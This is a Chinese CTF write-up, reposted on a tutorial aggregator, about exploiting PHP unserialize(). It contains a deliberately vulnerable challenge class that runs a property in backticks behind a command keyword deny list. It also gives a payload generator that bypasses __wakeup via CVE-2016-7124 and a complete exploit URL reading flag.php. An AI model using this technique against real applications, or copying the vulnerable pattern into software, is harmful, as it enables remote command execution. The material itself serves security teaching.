[CTF]php反序列化(unserialize)利用
内容导读
互联网集市收集整理的这篇技术教程文章主要介绍了[CTF]php反序列化(unserialize)利用,小编现在分享给大家,供广大互联网技能从业者学习和参考。文章包含3715字,纯文字阅读大概需要6分钟。
内容图文
[CTF]php反序列化(unserialize)利用
PHP序列化与反序列化介绍
1.什么是序列化与反序列化
维基百科中这样定义:序列化(serialization)在计算机科学的数据处理中,是指将数据结构或对象状态转换成可取用格式(例如存成文件,存于缓冲,或经由网络中发送),以留待后续在相同或另一台计算机环境中,能恢复原先状态的过程。
概念很容易理解,其实就是将数据转化成一种可逆的数据结构,自然,逆向的过程就叫做反序列化。
那么序列化与反序列化有什么用处呢?
序列化的目的是方便数据的传输和存储。
在PHP应用中,序列化和反序列化一般用做缓存,比如session缓存,cookie等。
常见的序列化格式:
1 二进制格式
2 字节数组
3 json字符串
4 xml字符串
PHP序列化与反序列化
PHP通过string serialize ( mixed $value )和mixed unserialize ( string $str )两个函数实现序列化和反序列化。
下面是比较典型的PHP反序列化漏洞中可能会用到的魔术方法:
void __wakeup ( void )
unserialize( )会检查是否存在一个_wakeup( ) 方法。如果存在,则会先调用_wakeup 方法,预先准备对象需要的资源。
void __construct ([ mixed $args [, $… ]])
具有构造函数的类会在每次创建新对象时先调用此方法。
void __destruct ( void )
析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。
public string __toString ( void )
__toString( ) 方法用于一个类被当成字符串时应怎样回应。例如 echo $obj;应该显示些什么。
此方法必须返回一个字符串,否则将发出一条 E_RECOVERABLE_ERROR 级别的致命错误。
一道CTF题:
<?php
header("Content-Type: text/html;charset=utf-8");
error_reporting(0);
echo "<!-- YmFja3Vwcw== -->";
class ctf
{
protected $username = 'hack';
protected $cmd = 'NULL';
public function __construct($username,$cmd)
{
$this->username = $username;
$this->cmd = $cmd;
}
function __wakeup()
{
$this->username = 'guest';
}
function __destruct()
{
if(preg_match("/cat|more|tail|less|head|curl|nc|strings|sort|echo/i", $this->cmd))
{
exit('</br>flag能让你这么容易拿到吗?<br>');
}
if ($this->username === 'admin')
{
// echo "<br>right!<br>";
$a = `$this->cmd`;
var_dump($a);
}else
{
echo "</br>给你个安慰奖吧,hhh!</br>";
die();
}
}
}
$select = $_GET['code'];
$res=unserialize(@$select);
?>
首先看到有个ctf的类。
1、看主要代码:
function __destruct()
{
if(preg_match("/cat|more|tail|less|head|curl|nc|strings|sort|echo/i", $this->cmd))
{
exit('</br>flag能让你这么容易拿到吗?<br>');
}
if ($this->username === 'admin')
{
// echo "<br>right!<br>";
$a = `$this->cmd`;
var_dump($a);
}else
{
echo "</br>给你个安慰奖吧,hhh!</br>";
die();
}
}
析构函数,对this->cmd 进行了判断,查看是否存在以下命令:cat|more|tail|less|head|curl|nc|strings|sort|echo
然后判断 this->username 是否为 admin,如果是则 讲this->cmd内容传递给$a变量,这里可以注意下:this->cmd不是通过单引号闭合的,而是`反单引号。
PHP 支持一个执行运算符:反引号(``)。注意这不是单引号!PHP 将尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回(即,可以赋给一个变量而不是简单地丢弃到标准输出)。使用反引号运算符“`”的效果与函数 shell_exec() 相同。
简单说就是先执行了其中的命令,再将命令结果赋值给变量。
最后通过var_dump输入结果。
2、看最后两行代码,作用是通过GET获得数据,进行反序列化操作
$select = $_GET['code'];
$res=unserialize(@$select);
3、接下来进行序列号操作,这是写好的代码
<?php
class ctf
{
protected $username = 'admin';
protected $cmd = '';
public function __construct($username,$cmd)
{
$this->username = $username;
$this->cmd = $cmd;
}
}
$a = serialize(new ctf('admin','tac flag.php'));
$a = preg_replace('/:2/',':3',$a);
$a = preg_replace('/\*/','%00*%00',$a);
echo $a;
?>
其中有两个正则替换作用:
第一个:将:2 替换为 :3 ,作用是绕过__wakeup()
__wakeup( )绕过
(CVE-2016-7124)
反序列化时,如果表示对象属性个数的值大于真实的属性个数时就会跳过__wakeup( )的执行。
影响版本:
PHP before 5.6.25
7.x before 7.0.10
第二个:将*号替换为 %00*%00 ,是为了绕过 protected 属性
3、最后运行脚步
访问链接,得到flag值
http://xx.ctf/?code=O:3:"ctf":3:{s:11:"%00*%00username";s:5:"admin";s:6:"%00*%00cmd";s:12:"tac flag.php";}
内容总结
以上是互联网集市为您收集整理的[CTF]php反序列化(unserialize)利用全部内容,希望文章能够帮你解决[CTF]php反序列化(unserialize)利用所遇到的程序开发问题。 如果觉得互联网集市技术教程内容还不错,欢迎将互联网集市网站推荐给程序员好友。
内容备注
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 gblab@vip.qq.com 举报,一经查实,本站将立刻删除。
内容手机端
扫描二维码推送至手机访问。